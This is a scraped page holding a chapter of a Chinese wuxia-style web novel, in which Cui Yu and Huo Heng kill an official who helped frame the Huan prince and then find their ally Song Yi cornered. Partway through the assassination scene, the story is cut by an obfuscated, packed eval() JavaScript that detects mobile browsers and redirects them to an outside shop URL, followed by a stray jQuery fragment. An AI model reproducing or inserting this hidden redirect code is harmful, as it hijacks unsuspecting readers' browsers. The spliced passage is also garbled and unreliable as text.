默认冷灰
24号文字
方正启体

39.斩草要除根

作者:师越本书字数:K更新时间:
    禁军们神色紧张,只等一声令下,气氛剑拔弩张,一触即发。


    百官骚动,有人面色惨白,下意识地后退半步,有人惊疑不定,目光惶惶。而那些资历较老,知晓当年内情的大臣,脸上血色尽褪,眼神中透出难以掩饰的惊惧。


    仿佛看到了十年前那场血雨腥风。


    崔昱感觉到几道或明或暗的视线,在混乱中曾短暂地扫过他的方向。


    他升任钦天监监副不久,坊间关于星罗子执棋的传言尚未平息,此刻郊祀大典上出现如此诡谲之事,难免会有人将两者联系起来。


    高坛之上,礼部尚书还有全燕师等重臣匆忙趋前,低声急促地商议着。


    文帝面色极沉,手一挥。


    禁军统领立刻会意,他沉声喝道:“护驾!将几位失仪的大人暂且带下,速传太医!”


    一队禁军迅速上前,谨慎地架起那些仍在不断重复罪状的官员。


    那些官员毫无反抗,任由摆布,只是口中依旧念念有词,空洞的眼神直勾勾地望着天空,场面愈发显得诡异莫测。


    祭天仪式显然无法再进行下去了。


    礼官高声宣布,因突发变故,祭祀暂止,百官依序退场。


    人群开始缓慢而混乱地移动。窃窃私语声再也压抑不住,如同潮水般涌起。


    “这,究竟是中了什么邪?”


    “桓王案难道真的有冤情?”


    “慎言!不想活了!”


    “方才那是……绣骨傀儡?听说朱雀大街上次那三位宗亲……”


    “嘶——莫非真是……”


    崔昱随着人流缓缓往外走去,他刻意放慢了脚步,落在人群后方,图竹与他擦身而过,“小心应对。”


    崔昱轻轻点了一下头,走出外围与霍衡汇合。


    霍衡低声道:“没事吧?”他目光锐利地扫过四周,神色戒备。


    “一切顺利。”崔昱的目光越过攒动的人头,望向驶离的车马,眼神深邃。


    回到崔府,已是午后。


    李瑞山早在厅中等候,知道他二人出门都没吃什么东西。


    布下四五小菜,色香味俱全。


    他见崔昱回来,神色无恙,先松了一口气,接过他还带着晨露寒气的外袍,“先吃点东西再说。”


    厅内还燃着炭盆,三人身着薄衫围坐。


    小菜虽不奢华,但热气腾腾,香气扑鼻。一碟嫩绿的清炒时蔬,一碗炖得奶白的鱼汤,一盘酱香浓郁的卤肉,还有一碟霍衡偏爱的辣子鸡丁。


    看着就让人食指大动。


    “还是瑞山想得周到。”崔昱在桌边坐下,脸上那层在外的淡漠疏离褪去些许,露出笑容。


    霍衡丝毫不客气,他爱吃辣,目标明确地伸向那红彤彤的辣子鸡丁。


    李瑞山看着他那架势,忍不住提醒,“这是荀先生从滇南那边带回来的辣子,后劲足得很。”


    他自己则盛了一碗鱼汤,放在崔昱手边。


    霍衡嘴里已经塞了一块鸡肉,被辣的嘶嘶吸气,却含糊不清地说,“过瘾!”他一边说,一遍扒饭,显然是饿狠了。


    崔昱看着他被辣得满头大汗,龇牙咧嘴却依旧不停筷子的模样,笑个不停,“都说了,辣得很。”


    李瑞山看着这两人,一个吃得风卷残云,一个细嚼慢咽。无奈摇摇头,自己也拿起筷子,忽而又想起郊祀上的事,“文帝的反应如何?”


    崔昱正想接话,但是被霍衡无情打断,“吃饭,天塌下来也得先填饱肚子,更何况今天也算是打了一场胜仗!”


    他说着,顺手把把一块鱼肉放到崔昱碗里,“好了昭昭,今天站了这么久,又冻又累,消停会儿好好吃饭。”


    崔昱从善如流,果然不再谈论正事,安静吃饭。


    饭后,下人撤去残席,换上清茶。


    崔昱捧着暖手的茶杯,靠在椅背上,这才对霍衡道:“子权,把你今日看到的所有反应异常,神色有异的官员都写下来。”


    霍衡虽然未能入场,但是祭坛依山而建,他在一座小山上用特制的机关镜观察着所有人的一举一动。


    闻言,他立刻走到书案前,铺纸研墨。


    他字迹算不上好看,甚至有些粗犷,但下笔极快,力透纸背。不多时,便列出了一份名单。


    其中有几个表现得十分惊慌,行为可疑。


    “给。”霍衡将墨迹未干的名单递给崔昱。


    崔昱接过,快速扫了一眼,霍衡虽然大大咧咧,但是办事一向可靠。


    他将名单递给李瑞山,“瑞山,派人去查查这些人,与当年的案子,有什么牵扯,尽了几分力。”


    李瑞山接过名单,“这就安排斋里人去探查。”


    *


    夜色如墨,万籁俱寂。


    李瑞山办事效率极高,不过几个时辰,便将霍衡名单上那些神色异常的官员底细摸清了大半,连同他们当年在桓王案中构陷污蔑,落井下石的具体行径,一并呈到了崔昱面前。


    烛光下,崔昱垂眸看着那几页薄薄的纸,上面记载的却是沉甸甸的罪孽。他脸上没有什么表情,之时指尖微微收紧。


    “走吧。”他站起身,声音很平静。


    霍衡早已准备好,两人一身黑衣,悄无声息地融入夜色之中。唯有偶然掠过墙头之时,衣袂带起的微弱风声。


    第一个目标,是御史台的一位御史。


    此人当年不过是个趋炎附势的小角色,却在桓王案中上蹿下跳,凭着几份捕风捉影的证词,硬生生地将两名桓王旧部送上了断头台。


    如今蝇营狗苟多年,府邸虽算不得多奢华,却也锦绣不凡。


    宅邸的守卫对于崔昱和霍衡来说形同虚设。两人如履平地般越过院墙,避开巡更护院,找到了主卧。


    室内,那御史正在酣睡,鼾声如雷。


    崔昱示意霍衡守在门外,自己悄然落入室内,没有发出丝毫声响。


    他站在床前,看着那张在睡梦中显得毫无防备的脸,眼神冰冷。


    似乎察觉到陌生的气息,那御史猛地惊醒,刚睁开眼,便对上一双在黑暗中闪着寒星的眸子。


    他吓得魂飞魄散,张嘴欲喊,却见那黑影动了。


    崔昱动作很快,他侧身避开对方胡乱抓来的手臂,左手探出,扼住那御史的喉结,将他的呼救声扼死在喉咙


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137216|193916||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    里,只能发出嗬嗬的漏气声。


    御史惊恐万分,分力挣扎,一圈裹挟着风声砸向崔昱面门。


    似乎还会些拳脚功夫。


    崔昱不避不闪,右手看似随意地抬起,手腕一翻,五指如拈花般搭上对方手腕,指尖发力一按一错。


    “咔嚓!”一声极轻微的骨裂声。


    御史痛得浑身抽搐,另一只手摸像枕下,似乎想去拿匕首。崔昱却已不想再浪费时间。


    他身形微晃,瞬间贴近,右手并指如剑,指尖凝聚着一点微不可察的内息,快若闪电地点在对方心口要穴。


    那御史身体猛地一僵,双眼暴凸,挣扎的动作瞬间停止,直挺挺地倒了下去,气息已绝。


    崔昱取出一个早已准备好的粗糙纸人,轻轻放在那御史的胸口,那纸人胸口,写着一个血淋淋的字——“债”。


    离开御史府邸,夜色更浓,崔昱解下水囊,洗了洗手上的血污。


    霍衡跟在他身侧,警惕地注意着四周。


    第二个目标,是工部的一位郎中,王宽。此人当年负责督造桓王府部分工程。桓王出事后,他第一时间跳出来“检举”,生成桓王曾命他私造违制构件,暗藏谋逆之心,在桓王身死后,还在往他身上泼脏水。


    王郎中的府邸在另一条街巷,规模更甚。


    两人依循旧法,悄无声息地潜入。然而,刚靠近主院,崔昱便敏锐地察觉到了一丝异样。


    太安静了。


    并非是夜深人静的安静。


    空中,隐约飘散着一丝极淡的血腥味。


    崔昱与霍衡对视一眼,皆是从对方眼中看到了凝重。


    霍衡抢先半步,护在崔昱身前,两人更加谨慎地靠近卧房。


    主卧的窗户洞开,里面黑漆漆的,借着微弱的月光,能看到室内桌椅倾倒,一片狼藉。


    显然是经历了一番打斗。


    窗棂位置,一小片深蓝色的布料挂在断裂的木刺上,在夜风中微微飘荡。


    崔昱眼神一凝,而霍衡却是再熟悉不过了。


    这布料上的暗纹绣的是天工阁的标识。


    宋弋怎么在这里?还动了手?


    “救人。”崔昱低声道。二人不再隐匿行踪,迅速掠入室内。


    室内比外面看起来更乱,只见宋弋被三名高大魁梧的家丁逼在角落里,他左臂衣袖被划破,鲜血浸湿了布料,右手紧紧握着一把短刀。


    呼吸粗重,似乎是中了麻筋散一类的迷药,之时凭着一股悍勇在苦苦支撑。


    地上还躺着两三个不知死活的家丁。


    那王宽并未慌张,反而好整以暇地站在一旁,手里把玩着一对铁胆,脸上带着一丝阴冷的得意。


    他身边还站着一名眼神锐利,太阳穴高高鼓起的中年汉子,看样子是护院头领。


    “又来两个送死的?”王宽冷哼一声,目光扫过崔昱和霍衡,尤其在崔昱清俊的脸上停留了一瞬。


    “原来是崔大人?”


    带着一丝审视和玩味,眼神上上下下地打量他,像一条毒蛇。


    宋弋看到王宽看崔昱的眼神,表情嫌恶,“快走!此人好男风!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)